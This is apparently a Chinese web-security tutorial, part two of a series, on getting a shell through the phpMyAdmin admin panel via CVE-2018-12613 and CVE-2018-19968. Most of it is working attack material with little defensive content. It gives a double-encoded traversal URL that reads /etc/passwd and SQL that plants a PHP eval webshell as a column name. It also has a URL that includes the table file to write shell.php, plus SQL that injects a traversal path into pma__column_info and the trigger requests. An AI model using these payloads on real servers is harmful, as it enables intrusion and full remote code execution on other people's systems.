【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)

CVE-2018-12613

受影响的phpMyAdmin版本:4.8.0/4.8.0.1/4.8.1


在上述版本的phpMyAdmin中,由于使用了urldecode()函数导致可以使用二次编码来绕过,由此产生了文件包含的问题。payload如下:

http://xx/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../etc/passwd

利用条件

  • 登录的phpmyadmin用户需要有创建表和执行sql语句的权限

利用方式

利用该漏洞需要为其提供一个可以包含的文件。因为mysql的表单都是以文件形式存储在计算机上,所以可以通过phpMyAdmin来创建一个数据表,其某字段为一句话木马。通过漏洞包含这个文件即可getshell。


1.执行下面的sql语句创建一个表,其中一字段为一句话木马。

CREATE TABLE `test`.`hack` (`<?php @eval($_GET['cmd']);?>` INT);

2.查询数据库表文件的存放位置,在windows中表文件的后缀为.frm,文件路径为date/数据库名/表名.frm

show variables like 'datadir'select @@datadir 

【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)

3.访问如下url即可在phpmyadmin的根目录中写入shell.php。

http://xx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/hack.frm&cmd=file_put_contents('shell.php','<?php @eval($_REQUEST[cmd])?>');

CVE-2018-19968

受影响的phpMyAdmin版本:4.8.0~4.8.3


在上述版本的phpMyAdmin中,在tbl_replace.php中,文件包含参数是和来自于表pma__column_info表中的input_transformation对应的值拼接而成的,而这个值是用户可控制的,由此引发了文件包含。

    if (!empty($mime_map[$column_name])            && !empty($mime_map[$column_name]['input_transformation'])        ) {        //可控参数拼接            $filename = 'libraries/classes/Plugins/Transformations/'                . $mime_map[$column_name]['input_transformation'];            if (is_file($filename)) {           //拼接参数后未进行过滤等操作                include_once $filename;                ......

利用条件

  • 登录的phpmyadmin用户需要有创建表和执行sql语句的权限

利用方式

  1. 创建数据库、表、字段
CREATE DATABASE test3;CREATE TABLE test3.flag ( flag int(10) );

2.访问下面的url,在数据库test3中生成phpMyAdmin的配置表,同时会生成pma

http://target.com/chk_rel.php?fixall_pmadb=1&db=test3

【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)

3.因为包含文件的参数来自pma__column_info表中的input_transformation对应的值。执行下面的sql语句向表中插入数据。其中db_name、table_name、column_name要和我们第一步中创建的表对应;input_transformation值为我们要包含的文件。这里我们包含的是字段为一句话木马的数据表文件。

INSERT INTO pma__column_info SELECT '1', 'test3', 'flag', 'flag', '1', '1', '1', '1', '../../../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test2/hacks.frm','1';

【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)

4.最后访问下面的url即可包含我们的一句话,同样这里的参数db、table、fields_name要和第一步中创建的表对应。这里为了更加直观包含的内容为phpinfo()

http://target.com/tbl_replace.php?db=test3&table=flag&where_clause=1=1&fields_name[multi_edit][][]=flag&clause_is_unique=1

【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)

上一篇:【WEB安全】Apache Log4j 漏洞利用分析(下)


下一篇:[WEB安全]MSSQL/SQL Server 提权手法详解(下)